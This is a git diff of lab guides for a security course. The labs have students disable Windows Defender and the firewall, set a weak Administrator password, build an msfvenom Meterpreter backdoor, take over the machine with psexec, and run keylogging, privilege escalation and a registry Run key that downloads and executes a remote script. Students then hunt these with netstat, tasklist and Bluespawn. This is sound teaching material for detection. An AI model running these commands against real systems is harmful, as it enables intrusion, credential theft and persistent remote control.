b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/OpeningKaliInstance.png new file mode 100644 index 00000000..128fe9d7 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/OpeningKaliInstance.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/OpeningZAP.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/OpeningZAP.png new file mode 100644 index 00000000..14ecc50c Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/OpeningZAP.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/TaskbarKaliIcon.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/TaskbarKaliIcon.png new file mode 100644 index 00000000..c8d6bd97 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/TaskbarKaliIcon.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/ZAPResults.PNG b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/ZAPResults.PNG new file mode 100644 index 00000000..af0d0e1a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/ZAPResults.PNG differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/automatedscanselect.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/automatedscanselect.png new file mode 100644 index 00000000..05eeeaf5 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/automatedscanselect.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/desktop.ini b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/desktop.ini new file mode 100755 index 00000000..d6155493 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/desktop.ini @@ -0,0 +1,2 @@ +[LocalizedFileNames] +Clipboard_2020-06-12-10-36-44.png=@Clipboard_2020-06-12-10-36-44,0 diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/ifconfig.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/ifconfig.png new file mode 100644 index 00000000..f27d50e0 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/ifconfig.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/navtodirectory.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/navtodirectory.png new file mode 100644 index 00000000..5d890eaf Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/navtodirectory.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/nopersist.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/nopersist.png new file mode 100644 index 00000000..b3bf05ae Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/nopersist.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/pythonscriptran.png b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/pythonscriptran.png new file mode 100644 index 00000000..aee22fc5 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/WebTestingIntroClass/attachments/pythonscriptran.png differ diff --git a/IntroClassFiles/Tools/IntroClass/WindowsCLI/WindowsCLI.md b/IntroClassFiles/Tools/IntroClass/WindowsCLI/WindowsCLI.md index c50416bf..f1646bea 100644 --- a/IntroClassFiles/Tools/IntroClass/WindowsCLI/WindowsCLI.md +++ b/IntroClassFiles/Tools/IntroClass/WindowsCLI/WindowsCLI.md @@ -6,19 +6,33 @@ In this lab, we will create **malware**, run it, and use the tools we went throu One of the best ways to learn is to actually just dig in and do it. -Let’s get started by opening a terminal. -![](attachments/OpeningKaliInstance.png) -Alternatively, you can open a **Kali** instance by clicking the **Kali** logo in the taskbar. -![](attachments/TaskbarKaliIcon.png) + + +- Open **Ubuntu Shell** + +Screenshot From 2026-02-23 10-28-37 + + + + + + + + Before going any further, we need to ensure that **Windows Defender** is disabled. To do this, open a Windows **Powershell** by clicking the icon in the taskbar. -![](attachments/OpeningPowershell.png) -
Set-MpPreference -DisableRealtimeMonitoring $true
+Screenshot From 2026-02-07 17-59-15 + + + +```ps +Set-MpPreference -DisableRealtimeMonitoring $true +``` ![](attachments/windowscli_disabledefender.png) @@ -32,70 +46,79 @@ Before going any further, we need to ensure that **Windows Defender** is disable Next, lets ensure the firewall is disabled. -
netsh advfirewall set allprofiles state off
+```ps +netsh advfirewall set allprofiles state off +``` Next, set a password for the Administrator account that you can remember -
net user Administrator password1234
+```ps +net user Administrator password1234 +``` >[!NOTE] > >That is a very bad password.
Come up with something better. But, please remember it. -Now that we disabled **Windows Defender**, we need to get our windows IP address for later. - -Within the Powershell window, please run the following command: +Let's get our **Windows IP**: -
ipconfig
+```ps +ipconfig +``` ->[!IMPORTANT] -> ->Please remember that your Windows IP address is not the same as your ADHD Linux System IP address. -> ->In this instance, we need our **Windows IP**, so write it down for later! +2026-03-15_23-42 -Now head back to your **Kali** terminal. +Now head back to your **Linux** terminal. We need to gain root access. To do that, run the following command: -
sudo su -
+```bash +sudo su - +``` Next, we will start the **Metasploit** handler with the following command: -
msfconsole -q
+```bash +msfconsole -q +``` It will take a second to connect, be patient! When connected, our terminal will look like this. -![](attachments/windowscli_msfconnected.png) +2026-03-15_23-29 Next, run the following command: -
use exploit/windows/smb/psexec
+```bash +use exploit/windows/smb/psexec +``` -![](attachments/windowscli_useexploit.png) +2026-03-15_23-36 We will continue by running this command to set the location of the payload: -
set PAYLOAD windows/meterpreter/reverse_tcp
+```bash +set windows/x64/meterpreter/reverse_tcp) +``` We also need to set the **RHOST IP** for the Windows system by using the following command: -
set RHOST 10.10.1.209
- ->[!NOTE] -> ->**Remember, your IP will be different!** +```bash +set RHOST win.cloudlab.lan +``` - -![](attachments/windowscli_sets.png) +2026-03-15_23-39 Next, we need to set the **SMB** username and password. -
set SMBUSER Administrator
+```bash +set SMBUSER Administrator +``` -
set SMBPASS password1234
+```bash +set SMBPASS password1234 +``` >[!NOTE] > @@ -104,13 +127,27 @@ Next, we need to set the **SMB** username and password. It should look like this: -![](attachments/windowscli_setuserpass.png) +2026-03-15_23-40 + +Now let's set the target to upload a **Raw Executable** instead of a **PowerShell Script** + +```bash +show targets +``` + +```bash +set TARGET 2 +``` + +2026-03-15_23-56 Now, we can run the exploit command -
exploit
+```bash +exploit +``` -![](attachments/windowscli_exploit.png) +2026-03-15_23-57 While there is not much here for this lab, it is key to remember that these two commands would help us detect an attacker that is mounting shares on other computers (net view). It would also tell us if an attacker had mounted a share on this system (net session). @@ -118,80 +155,98 @@ We are not done with network connections yet. Lets try looking at our malware! Go ahead an open an instance of **Windows PowerShell**. -![](attachments/OpeningPowershell.png) +Screenshot From 2026-02-07 17-59-15 Run the following command: -
netstat -naob
+```ps +netstat -naob +``` + +2026-03-16_00-02 -![](attachments/windowscli_netstat.png) Well, that is a lot of data. This is showing us which ports are open on this system **(0.0.0.0:portnumber)** or **(LISTENING)**. As well as the remote connections that are made to other systems **(ESTABLISHED)**. In this example, we are really interested in the **ESTABLISHED** connections: -![](attachments/windowscli_established.png) +```ps +netstat -naob | findstr ESTABLISHED +``` -Specificly, we are interested in the connection on port 4444 as we know this is the port we used for our malware. +2026-03-16_00-01 -Now, let's drill down on that connection with some more data: +Specificly, we are interested in the connection on **port 4444** as we know this is the port we used for our malware. -
netstat -f
-I like to run **"-f"** with netstat to see if there are any systems with fully qualified domains that we may be able to ignore. - -![](attachments/windowscli_-f.png) - -Now we see our last connection with the **port 4444**. Let's get the Process ID **(PID)** from the output of our **"netstat -naob"** command that we ran earlier so we can dig a little deeper. >[!TIP] > ->Look for port **4444** and **[powershell.exe]** - -![](attachments/windowscli_pid.png) +>Look for port **4444**, it is the number right after `ESTABLISHED` We will start with tasklist -
tasklist /m /fi "pid eq [PID]"
+```ps +tasklist /m /fi "pid eq [PID]" +``` >[!NOTE] > >**YOUR PID WILL BE DIFFERENT!** -![](attachments/windowscli_tasklist.png) +2026-03-16_00-11 We can see the loaded **DLL's** above. As we can see, there is not a whole lot to see here: Let's keep digging with **wmic**: -
wmic process where processid=[PID] get commandline
+```bash +(Get-WmiObject Win32_Process -Filter "ProcessId=[PID]").CommandLine +``` + +2026-03-16_00-24 -![](attachments/windowscli_wmic.png) +A perfectly normal **Windows DLL**... or so it would seem... once **Meterpreter** loads, it overwrites its own process command line in memory as an evasion technique. This is intentional anti-forensics behavior built into Meterpreter, and so, here, it spawns as `rundll32.exe` - a trusted **Windows Process** -Ahh!! Now we can see that the file was launched from the **command line**! We know this because there are no options. +To try to dig deeper, let's print every process making a network connection, a pretty hefty command: -Let's see if we can see what spawned the process with **wmic**. +```bash +Get-NetTCPConnection -State Established | ForEach-Object { + $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue + [PSCustomObject]@{ + Process = $proc.Name + PID = $_.OwningProcess + LocalPort = $_.LocalPort + RemoteAddress = $_.RemoteAddress + RemotePort = $_.RemotePort + } +} +``` -
wmic process get name,parentprocessid,processid | select-string [PID]
+1 -![](attachments/windowscli_selectstring.png) +Scroll until you see `rundll32.exe` + +2 + +HA!! An outbound connection to the **attacker**!!! Lets go through the steps we took to hunt for a malicious process -1. We found its parent process ID. +1. We looked for **ESTABLISHED** connections -2. We did a search on that process ID. +2. We did a search on that **process ID** -3. As you can see above, it was launched by the cmd.exe process. +3. We saw the connection was made by a **Trusted Windows Process** -4. Note that the search we just did may turn up some other things launched by the command line as well. +4. We dug deeper to see all processes making connections, and confirmed our suspicions that the **process** was used **maliciously**, because `rundll32.exe` should never be making outbound **TCP connections** *** Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/Wireshark/Wireshark.md) -Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/TCPDump/TCPDump.md) +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/WebLogReview/WebLogReview.md) Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) @@ -211,3 +266,5 @@ Please be sure to destroy the lab environment! + + diff --git a/IntroClassFiles/Tools/IntroClass/bluespawn/Bluespawn.md b/IntroClassFiles/Tools/IntroClass/bluespawn/Bluespawn.md deleted file mode 100755 index 57d5f309..00000000 --- a/IntroClassFiles/Tools/IntroClass/bluespawn/Bluespawn.md +++ /dev/null @@ -1,328 +0,0 @@ - - -# Atomic Red Team And Bluespawn - -In this lab we will be using Bluespawn as a stand-in for an EDR system. Normally full EDRs like Cylance and Crowdstrike are very expensive and tend not to show up in classes like this. However, the folks at University of Virginia have done an outstanding job with BlueSpawn. - -BlueSpawn will monitor the system for "weird" behavior and note it when it occurs. For the money, it is great. - -In this lab, we will be starting BlueSpawn and then running Atomic Red Team to trigger a lot of alerts. - -First, let’s disable Defender. Simply run the following from an Administrator PowerShell prompt: - - -image - - - -`Set-MpPreference -DisableRealtimeMonitoring $true` - -This will disable Defender for this session. - -If you get angry red errors, that is Ok, it means Defender is not running. - - -Now, let's open a command Prompt: - - - -image - - - - - -Next, let’s change directories to tools and start Bluespawn: - -C:\Users\adhd>`cd \IntroLabs` - -C:\IntroLabs>`BLUESPAWN-client-x64.exe --monitor --level Cursory` - - -![](attachments/Clipboard_2020-06-16-09-46-00.png) - -Now, let’s use Atomic Red Team to test the monitoring with BlueSpawn: - -First, we need to open a PowerShell Prompt: - -![](attachments/Clipboard_2020-06-16-09-55-12.png) - -Lets install and update Atomic Red Team - -PS C:\Users\adhd> `cd \` - -PS C:\Users\adhd>`IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing); -Install-AtomicRedTeam -getAtomics -Force` - -Please note this can take a bit. After about 120 seconds, try hitting enter to get your prompt back. - -Next, in the PowerShell Window we need to navigate to the Atomic Red Team directory and import the powershell modules: - -PS C:\Users\adhd> `cd C:\AtomicRedTeam\invoke-atomicredteam\` - -Then, install the proper yaml modules - -PS C:\Users\adhd> `Install-Module -Name powershell-yaml` - -PS C:\AtomicRedTeam\invoke-atomicredteam> `Import-Module .\Invoke-AtomicRedTeam.psm1` - - -Now, we need to invoke all the Atomic Tests. - -Special note... Don't do this in production... Ever. Always run tools like Atomic Red Team on test systems. We recommend that you run in on a system with your EDR/Endpoint protection in non-blocking/alerting mode. This is so you can see what the protection would have done, but it will allow the tests to finish so we are just going to run individual tests for now. - -PS C:\AtomicRedTeam\invoke-atomicredteam> `Invoke-AtomicTest T1547.004` - -More information here: - -https://attack.mitre.org/techniques/T1547/004/ - -PS C:\AtomicRedTeam\invoke-atomicredteam> `Invoke-AtomicTest T1543.003` - -More information here: - -https://attack.mitre.org/techniques/T1543/003/ - -PS C:\AtomicRedTeam\invoke-atomicredteam> `Invoke-AtomicTest T1547.001` - -More information here: - -https://attack.mitre.org/techniques/T1547/001/ - -PS C:\AtomicRedTeam\invoke-atomicredteam> `Invoke-AtomicTest T1546.008` - -More information here: - -https://attack.mitre.org/techniques/T1546/008/ - -If you get any “file exists” questions or errors, just select Yes. - -It should look like this: - -![](attachments/Clipboard_2020-06-16-09-48-18.png) - -Please note, there will be some errors when this runs. This is normal. - -Please note we had to cross reference the old numbering witgh the new. - -You can find that mapping here: - -https://attack.mitre.org/docs/subtechniques/subtechniques-crosswalk.json - - -You should be getting a lot of alerts with Bluespawn Switch tabs in your Terminal to see them: - -![](attachments/Clipboard_2020-06-16-09-47-26.png) - - - -# If you have more time - -Let’s begin by disabling **Defender**. Simply run the following from an **Administrator PowerShell** prompt: - -image - - -Next, run the following command in the **Powershell** terminal: - -
Set-MpPreference -DisableRealtimeMonitoring $true
- -image - -This will disable **Defender** for this session. - -If you get angry red errors, that is **Ok**, it means **Defender** is not running. - -Next, lets ensure the firewall is disabled. In a Windows Command Prompt. - -
 netsh advfirewall set allprofiles state off
- - -Next, set a password for the Administrator account that you can remember - -
net user Administrator password1234
- -Please note, that is a very bad password. Come up with something better. But, please remember it. - -Before we move on from our Powershell window, lets get our IP by running the following command: - -
ipconfig
- - -**REMEMBER - YOUR IP WILL BE DIFFERENT** - -Write this IP down so we can use it again later. - -Let's continue by opening a **Kali** terminal - -image - -Alternatively, you can click on the **Kali** icon in the taskbar. - - -We need to run the following commands in order to mount our remote system to the correct directory: - -
sudo su -
- -
mount -t cifs //[Your IP Address]/c$ /mnt/windows-share -o username=Administrator,password=password1234
- -**REMEMBER - YOUR IP ADDRESS AND PASSWORD WILL BE DIFFERENT.** - - - -Run the following command to navigate into the mounted directory: - -
cd /mnt/windows-share
- -image - - -Before we run the next commands, we need to get the IP of our Kali System (AKA our Linux IP Adress). Lets do so by running the following: - -
ifconfig
- -image - - -**REMEMBER: YOUR IP WILL BE DIFFERENT** - -Run the following commands to start a simple backdoor and backdoor listener: - -
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=[Your Linux IP Address] lport=4444 -f exe -o /mnt/windows-share/TrustMe.exe
- -image - - - -Let's start the **Metasploit** Handler. Open a new **Kali** terminal by clicking the **Kali** icon in the taskbar. - -image - - -Let's become root. - -
sudo su -
- -Now let's start the **Metasploit** Handler - -
msfconsole -q
- -We are going to run the following commands to correctly set the parameters: - -
use exploit/multi/handler
- -
set PAYLOAD windows/meterpreter/reverse_tcp
- -
set LHOST [Your Linux IP Address]
- -Remember, **Your IP will be different!** - -
exploit
- -It should look like this: - -image - - -We will need to open a **"cmd.exe"** terminal as **Administrator**. - -image - - - -let's run the following commands to run the **"TrustMe.exe"** file. - -
cd \
- -Then run it with the following: - - 
TrustMe.exe
- -Back at your Kali terminal, you should have a metasploit session! - -![](attachments/meterpretersession.png) - - -Now, let’s look at keystroke logging. - -To learn more about this check out MITRE: - -https://attack.mitre.org/techniques/T1056/ - -Also, below is a list of just some of the threat groups that use this technique: - -image - - -Run commands - -meterpreter > `keyscan_start` - -Go and type something on your Windows system. - -meterpreter > `keyscan_dump` - -![](attachments/Clipboard_2020-06-15-13-52-00.png) - - -Go and check Bluespawn. Did it detect it? - -Now, let’s play with registry persistence. - -To learn more about this check out MITRE: - -https://attack.mitre.org/techniques/T1547/ - -Here are just some of the groups that use this technique: - -image - - -meterpreter > `shell` - -C:\> `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Payload /d "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://172.20.243.5:80/a'))\"" /f` - -C:\> `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"` - -![](attachments/Clipboard_2020-06-15-14-00-53.png) - -Go and check Bluespawn. Did it detect it? - -Next, let’s play with privilege escalation. - -Here is al link to more info about this from MITRE: - -https://attack.mitre.org/techniques/T1543/ - -Here are just some of the groups that use this technique: - -image - - -meterpreter >`getsystem` - -![](attachments/Clipboard_2020-06-15-13-52-28.png) - - -![](attachments/Clipboard_2020-06-15-13-56-34.png) - -Go and check Bluespawn. Did it detect it? - -[Return To Lab List](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/navigation.md) - - - - - - - - - - - - - - - - - diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/Bluespawn.md b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/Bluespawn.md new file mode 100755 index 00000000..0b1fbd32 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/Bluespawn.md @@ -0,0 +1,434 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# Atomic Red Team And Bluespawn + +In this lab we will be using Bluespawn as a stand-in for an EDR system. Normally full EDRs like Cylance and Crowdstrike are very expensive and tend not to show up in classes like this. However, the folks at University of Virginia have done an outstanding job with BlueSpawn. + +BlueSpawn will monitor the system for "weird" behavior and note it when it occurs. For the money, it is great. + +In this lab, we will be starting BlueSpawn and then running Atomic Red Team to trigger a lot of alerts. + +First, we need to disable Defender. +Start by opening up Windows Powershell. + +image + + +Next, run the following command: + +```ps +Set-MpPreference -DisableRealtimeMonitoring $true +``` + +```ps +Set-MpPreference -DisableBehaviorMonitoring $true +``` + +2026-03-26_09-47 + + +This will disable Defender for this session. + +>[!NOTE] +> +>If you get angry red errors, that is Ok, it means Defender is not running. + + +Now, let's open a **command prompt**: + +Screenshot From 2026-02-07 17-59-56 + + +Next, let’s change directories to tools and start Bluespawn: + +```bash +cd \IntroLabs +``` + +```bash +BLUESPAWN-client-x64.exe --monitor --aggressiveness cursory +``` + +You should see something like this: + +2026-03-26_09-50 + + +If you made it this far, perfect! That means Bluespawn is up and running. + +Now, let’s use Atomic Red Team to test the monitoring with BlueSpawn: + +First, we need to open a PowerShell terminal. + +You can do this by selecting the icon in the taskbar/desktop: + +image + +Now we need to install and update Atomic Red Team. Run the following: + +```bash +cd \ +``` + +```ps +IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing); +Install-AtomicRedTeam -getAtomics -Force +``` + +>[!NOTE] +> +> This can take a bit. After about 120 seconds, try hitting enter to get your prompt back. + +Once you see the following, you are set to move forward: + +2026-03-26_09-54 + + +Next, in the PowerShell Window we need to navigate to the Atomic Red Team directory and import the powershell modules: + +```ps +cd C:\AtomicRedTeam\invoke-atomicredteam\ +``` + +Then, install the proper `yaml` modules by running the following: + +```ps +Install-Module -Name powershell-yaml +``` + +>[!NOTE] +> +>When prompted, press Y to install the modules. + +```ps +Import-Module .\Invoke-AtomicRedTeam.psm1 +``` + + +Once we do this, we need to invoke all the Atomic Tests. + +>[!IMPORTANT] +> +>Don't do this in production... Ever. +> +>Always run tools like Atomic Red Team on test systems. +> +>We recommend that you run in on a system with your EDR/Endpoint protection in non-blocking/alerting mode. This is so you can see what the protection would have done, but it will allow the tests to finish so we are just going to run individual tests for now. + +Run the following individually: + +```ps +Invoke-AtomicTest T1547.004 +``` + +More information here: + +https://attack.mitre.org/techniques/T1547/004/ + +```ps +Invoke-AtomicTest T1543.003 +``` + +More information here: + +https://attack.mitre.org/techniques/T1543/003/ + +```ps +Invoke-AtomicTest T1547.001 +``` + +More information here: + +https://attack.mitre.org/techniques/T1547/001/ + +```ps +Invoke-AtomicTest T1546.008 +``` + +More information here: + +https://attack.mitre.org/techniques/T1546/008/ + + +>[!TIP] +> +>If you get any “file exists” questions or errors, just select `Yes`. + +It should look like this: + +2026-03-26_10-00 + + +>[!NOTE] +> +>There might be some errors when this runs. This is +normal. + +>[!IMPORTANT] +> +>We had to cross reference the old numbering with the new. +> +>You can find that mapping here: +> +>https://attack.mitre.org/docs/subtechniques/subtechniques-crosswalk.json +> +>![](attachments/crossreference.png) + + +You should be getting a lot of alerts with Bluespawn! Switch tabs in your Terminal to see them: + +2026-03-26_10-09 + + +Now, let’s go back to the PowerShell window and clean up: + +```ps +Invoke-AtomicTest All -Cleanup +``` + +It should look like this: + +2026-03-26_10-06 + + +# If you have more time + +Let’s begin by disabling **Defender**. Simply run the following from an **Administrator PowerShell** prompt: + +image + + +Next, run the following command in the **Powershell** terminal: + +```ps +Set-MpPreference -DisableRealtimeMonitoring $true +``` + +2026-03-26_10-20 + + +This will disable **Defender** for this session. + +If you get angry red errors, that is **Ok**, it means **Defender** is not running. + +Open **Command Prompt** + +Screenshot From 2026-02-07 17-59-56 + +Next, lets ensure the firewall is disabled. In a Windows Command Prompt. + +```cmd +netsh advfirewall set allprofiles state off +``` + + +Next, set a password for the Administrator account that you can remember + +```bash +net user Administrator password1234 +``` + +Please note, that is a very bad password. Come up with something better. But, please remember it. + +Let's continue by opening an **Ubuntu** terminal + +Screenshot From 2026-02-23 10-28-37 + + + +Become root: + +```bash +sudo su - +``` + + +Before we run the next commands, we need to get the **IP** of our **Linux System**. Lets do so by running the following: + +```bash +ifconfig +``` + +Get_IPLinux + +**REMEMBER: YOUR IP WILL BE DIFFERENT** + +Run the following commands to start a simple backdoor and backdoor listener: + +```bash +cd /tmp/ +``` + + + +Run the following commands to start a simple backdoor and backdoor listener: + +```bash + +msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=[Your Linux IP Address] lport=4444 -f exe > /tmp/TrustMe.exe +``` + + + +2026-03-26_10-33 + + + + +Now let's start the **Metasploit** Handler + +```bash +msfconsole -q +``` + +We are going to run the following commands to correctly set the parameters: + +```bash +use exploit/multi/handler +``` + +```bash +set PAYLOAD windows/meterpreter/reverse_tcp +``` + +```bash +set LHOST [Your Linux IP Address] +``` + +Remember, **Your IP will be different!** + +```bash +exploit +``` + +It should look like this: + +2026-02-23_15-38 + + + + +Open up a **Powershell** terminal, copy the file over from **Linux** + +```ps +cd .\Desktop\ +``` + +```ps +scp ubuntu@linux.cloudlab.lan:/tmp/TrustMe.exe . +``` + +Open a **Command Prompt** + +Screenshot From 2026-02-07 17-59-56 + + +Let's run the following commands to run the **"TrustMe.exe"** file. + +```cmd +cd \Users\Administrator\Desktop +``` + +Then run it with the following: + +```cmd +TrustMe.exe +``` + +Back at your Ubuntu terminal, you should have a metasploit session! + +2026-03-26_10-44 + +Now, let’s look at keystroke logging. + +To learn more about this check out MITRE: + +https://attack.mitre.org/techniques/T1056/ + +Also, below is a list of just some of the threat groups that use this technique: + +image + + +Run commands + +meterpreter > `keyscan_start` + +Go and type something on your Windows system. + +meterpreter > `keyscan_dump` + +![](attachments/Clipboard_2020-06-15-13-52-00.png) + + +Go and check Bluespawn. Did it detect it? + +Now, let’s play with registry persistence. + +To learn more about this check out MITRE: + +https://attack.mitre.org/techniques/T1547/ + +Here are just some of the groups that use this technique: + +image + + +meterpreter > `shell` + +C:\> `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Payload /d "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://172.20.243.5:80/a'))\"" /f` + +C:\> `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"` + +![](attachments/Clipboard_2020-06-15-14-00-53.png) + +Go and check Bluespawn. Did it detect it? + +Next, let’s play with privilege escalation. + +Here is al link to more info about this from MITRE: + +https://attack.mitre.org/techniques/T1543/ + +Here are just some of the groups that use this technique: + +image + + +meterpreter >`getsystem` + +![](attachments/Clipboard_2020-06-15-13-52-28.png) + + +![](attachments/Clipboard_2020-06-15-13-56-34.png) + +Go and check Bluespawn. Did it detect it? + +*** + +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/deepbluecliIntroClass/DeepBlueCLI.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/AppLocker/AppLocker.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + + + + + + + + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/Clipboard_2020-06-12-10-36-44.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/Clipboard_2020-06-12-10-36-44.png new file mode 100755 index 00000000..4175daf4 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/Clipboard_2020-06-12-10-36-44.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-12-10-36-44.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-12-10-36-44.png new file mode 100755 index 00000000..4175daf4 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-12-10-36-44.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-13-52-00.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-13-52-00.png new file mode 100755 index 00000000..1282f24a Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-13-52-00.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-13-52-28.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-13-52-28.png new file mode 100755 index 00000000..491f5174 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-13-52-28.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-13-56-34.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-13-56-34.png new file mode 100755 index 00000000..1d8d55c1 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-13-56-34.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-14-00-53.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-14-00-53.png new file mode 100755 index 00000000..7db33826 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-15-14-00-53.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-46-00 - Copy.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-46-00 - Copy.png new file mode 100755 index 00000000..916644de Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-46-00 - Copy.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-46-00.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-46-00.png new file mode 100755 index 00000000..916644de Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-46-00.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-47-26.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-47-26.png new file mode 100755 index 00000000..ec4dcd34 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-47-26.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-48-18.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-48-18.png new file mode 100755 index 00000000..befaf207 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-48-18.png differ diff --git a/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-52-22.png b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-52-22.png new file mode 100755 index 00000000..37654890 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/bluespawnIntroClass/attachments/Clipboard_2020-06-16-09-52-22.png differ diff --git 